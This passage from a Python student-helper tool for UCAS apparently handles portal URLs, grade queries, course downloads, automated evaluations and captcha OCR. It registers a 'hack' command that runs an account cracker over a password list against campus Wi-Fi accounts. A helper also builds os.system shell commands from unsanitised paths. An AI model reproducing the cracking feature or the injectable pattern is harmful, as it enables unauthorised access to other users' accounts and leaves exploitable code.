'http':'http://onestop.ucas.ac.cn/Ajax/Login/0', 62 | 'https':'https://onestop.ucas.ac.cn/Ajax/Login/0' 63 | }, 64 | 'bak_login_url':{ 65 | 'http': 'http://sep.ucas.ac.cn/slogin', 66 | 'https': 'https://sep.ucas.ac.cn/slogin' 67 | }, 68 | 'logout_url': { 69 | 'http':'http://sep.ucas.ac.cn/logout?o=platform', 70 | 'https':'https://sep.ucas.ac.cn/logout?o=platform', 71 | }, 72 | 'course_info_url': { 73 | 'http':'http://sep.ucas.ac.cn/portal/site/16/801', 74 | 'https':'https://sep.ucas.ac.cn/portal/site/16/801', 75 | }, 76 | 'grade_url':{ 77 | 'http':'http://jwxk.ucas.ac.cn/score/yjs/all', 78 | 'https':'http://jwxk.ucas.ac.cn/score/yjs/all', 79 | }, 80 | 'view_url':{ 81 | 'http':'http://jwxk.ucas.ac.cn/notice/view/1', 82 | 'https':'https://jwxk.ucas.ac.cn/notice/view/1', 83 | }, 84 | 'course_select_url': { 85 | 'http':'http://sep.ucas.ac.cn/portal/site/226/821', 86 | 'https':'https://sep.ucas.ac.cn/portal/site/226/821', 87 | }, 88 | 'base_saveCourseEval_url':{ 89 | 'http':'http://jwxk.ucas.ac.cn/evaluate/saveCourseEval/', 90 | 'https':'https://jwxk.ucas.ac.cn/evaluate/saveCourseEval/', 91 | }, 92 | 'base_evaluateCourse_url':{ 93 | 'http':'http://jwxk.ucas.ac.cn/evaluate/evaluateCourse/', 94 | 'https':'https://jwxk.ucas.ac.cn/evaluate/evaluateCourse/', 95 | }, 96 | 'base_evaluateTeacher_url':{ 97 | 'http':'http://jwxk.ucas.ac.cn/evaluate/evaluateTeacher/', 98 | 'https':'https://jwxk.ucas.ac.cn/evaluate/evaluateTeacher/' 99 | }, 100 | 'base_evaluate_url':{ 101 | 'http':'http://jwxk.ucas.ac.cn/evaluate/', 102 | 'https':'https://jwxk.ucas.ac.cn/evaluate/' 103 | } 104 | } 105 | -------------------------------------------------------------------------------- /ucashelper.py: -------------------------------------------------------------------------------- 1 | # @Author : GentleCP 2 | # @Email : 574881148@qq.com 3 | # @File : ucashelper.py 4 | # @Item : PyCharm 5 | # @Time : 2019/11/28/028 13:58 6 | # @WebSite : https://www.gentlecp.com 7 | 8 | 9 | import click 10 | import sys 11 | import os 12 | 13 | from handler import ui 14 | from core.wifi import AccHacker 15 | from core.assess import Assesser 16 | from core.grade import GradeObserver 17 | from core.download import Downloader 18 | from core.wifi import WifiLoginer 19 | 20 | import settings 21 | 22 | ROOT_PATH = os.path.dirname(__file__) 23 | sys.path.append(ROOT_PATH) 24 | 25 | 26 | @click.group() 27 | def start(): 28 | """UCASHelper is a useful tool for UCASer, following are the arguments that you could choose""" 29 | 30 | @click.command(name='config',help='Set your user info and download path(not support on windows)') 31 | def config(): 32 | if not sys.platform.startswith('win'): 33 | from handler.configer import UCASHelperConfigApp 34 | UCASHelperConfigApp().run() 35 | else: 36 | print('config not support on windows. please set config in conf/user_config.ini by yourself.') 37 | 38 | 39 | @click.command(name='ui',help='Get UI interface of UCASHelper') 40 | def UI(): 41 | ui.main(record_path=settings.RECORD_PATH) 42 | 43 | 44 | @click.command(name='down',help='Download resources from sep website') 45 | def download_source(): 46 | downloader = Downloader( 47 | urls=settings.URLS, 48 | user_config_path=settings.USER_CONFIG_PATH, 49 | filter_list=settings.FILTER_LIST) 50 | downloader.run() 51 | 52 | 53 | @click.command(name='assess',help='Auto assess courses and teachers') 54 | def auto_assess(): 55 | assesser = Assesser( 56 | urls=settings.URLS, 57 | user_config_path=settings.USER_CONFIG_PATH, 58 | assess_msgs=settings.ASSESS_MSG) 59 | assesser.run() 60 | 61 | 62 | @click.command(name='grade',help='Query your grades') 63 | def query_grades(): 64 | gradeObserver = GradeObserver( 65 | urls=settings.URLS, 66 | user_config_path=settings.USER_CONFIG_PATH) # todo, delete 67 | gradeObserver.run() 68 | 69 | 70 | @click.command(name='hack',help='Hack wifi accounts') 71 | def hack_accounts(): 72 | hacker = AccHacker(data_path='data/data.txt', password_path='data/password.txt') 73 | hacker.run() 74 | 75 | @click.command(name='login',help='Login campus network') 76 | def login_wifi(): 77 | wifiLoginer = WifiLoginer(accounts_path=settings.ACCOUNTS_PATH) 78 | wifiLoginer.login() 79 | 80 | 81 | @click.command(name='logout',help='Logout campus network') 82 | def logout_wifi(): 83 | wifiLoginer = WifiLoginer(accounts_path=settings.ACCOUNTS_PATH) 84 | wifiLoginer.logout() 85 | 86 | 87 | if __name__ == '__main__': 88 | commands = [UI,auto_assess,download_source,query_grades,hack_accounts,login_wifi,logout_wifi, config] 89 | for command in commands: 90 | start.add_command(command) 91 | start() 92 | -------------------------------------------------------------------------------- /util/__init__.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | -----------------File Info----------------------- 5 | Name: __init__.py.py 6 | Description: 7 | Author: GentleCP 8 | Email: 574881148@qq.com 9 | WebSite: https://www.gentlecp.com 10 | Create Date: 2020-12-29 11 | -----------------End----------------------------- 12 | """ -------------------------------------------------------------------------------- /util/functions.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | # -*- coding: utf-8 -*- 3 | """ 4 | -----------------File Info----------------------- 5 | Name: functions.py 6 | Description: 工具函数 7 | Author: GentleCP 8 | Email: 574881148@qq.com 9 | WebSite: https://www.gentlecp.com 10 | Create Date: 2020-12-29 11 | -----------------End----------------------------- 12 | """ 13 | 14 | import requests 15 | import os 16 | import sys 17 | import logging 18 | from tqdm import tqdm 19 | from configparser import ConfigParser 20 | 21 | from handler.exception import ConfigReadError 22 | 23 | 24 | def download_file(url, session=None, file_path='未命名文件', overwrite = False): 25 | ''' 26 | 根据指定url下载文件 27 | :param url: 28 | :param session: 传入的会话参数,有的需要登录才能下载 29 | :param file_path: 文件存储路径,默认为当前目录下,存储文件为未命名文件 30 | :param overwrite: 是否覆盖同名文件,默认否 31 | :return: 正确下载返回True,否则False 32 | ''' 33 | if session: 34 | res = session.get(url, stream = True) 35 | else: 36 | res = requests.get(url,stream=True) 37 | file_size = int(res.headers['content-length']) 38 | chunk_size = 1024 39 | if res.status_code == 200: 40 | if not overwrite and os.path.exists(file_path): 41 | return True 42 | else: 43 | progress_bar = tqdm( 44 | total=file_size,initial=0,unit='B',unit_scale=True, 45 | ) 46 | with open(file_path,'wb') as f: 47 | for data in res.iter_content(chunk_size=chunk_size): 48 | if data: 49 | f.write(data) 50 | progress_bar.update(chunk_size) 51 | progress_bar.close() 52 | else: 53 | logging.error('download fail.') 54 | return False 55 | 56 | 57 | def check_dir(dir): 58 | if not os.path.exists(dir): 59 | try: 60 | os.mkdir(dir) 61 | return False 62 | except FileNotFoundError: 63 | return True 64 | 65 | 66 | def recur_mkdir(course_dir, dirs): 67 | ''' 68 | 递归检查目录是否存在,若不存在则创建 69 | :param dirs: 70 | :return: 71 | ''' 72 | rec_dir = course_dir # 递归查询的目录 73 | while dirs: 74 | rec_dir = rec_dir + '/' + dirs[0] 75 | if not os.path.exists(rec_dir): 76 | os.mkdir(rec_dir) 77 | del dirs[0] 78 | 79 | 80 | def open_dir(dir): 81 | ''' 82 | 打开指定目录窗口 83 | :return: 84 | ''' 85 | if sys.platform.startswith('win'): 86 | result = os.system('start ' + dir) 87 | elif sys.platform.startswith('linux'): 88 | result = os.system('nautilus ' + dir) 89 | else: 90 | result = os.system('open ' + dir) 91 | return result 92 | 93 | 94 | def get_cfg(config_path): 95 | ''' 96 | 基于给定的配置路径生成ConfigParser 97 | :param config_path: 98 | :return: cfg 99 | ''' 100 | cfg = ConfigParser() 101 | cfg.read(config_path, encoding='utf-8') 102 | return cfg 103 | -------------------------------------------------------------------------------- /util/ocr.py: -------------------------------------------------------------------------------- 1 | import ddddocr 2 | import io 3 | from PIL import Image 4 | 5 | def _image_to_byte_array(image:Image): 6 | imgByteArr = io.BytesIO() 7 | image.save(imgByteArr, format=image.format) 8 | imgByteArr = imgByteArr.getvalue() 9 | return imgByteArr 10 | 11 | 12 | def do_ocr(image:Image): 13 | # recognize the image 14 | ocr = ddddocr.DdddOcr() 15 | img_bytes = _image_to_byte_array(image) 16 | ocr_res = ocr.classification(img_bytes) 17 | print("读取结果:", ocr_res) 18 | return ocr_res --------------------------------------------------------------------------------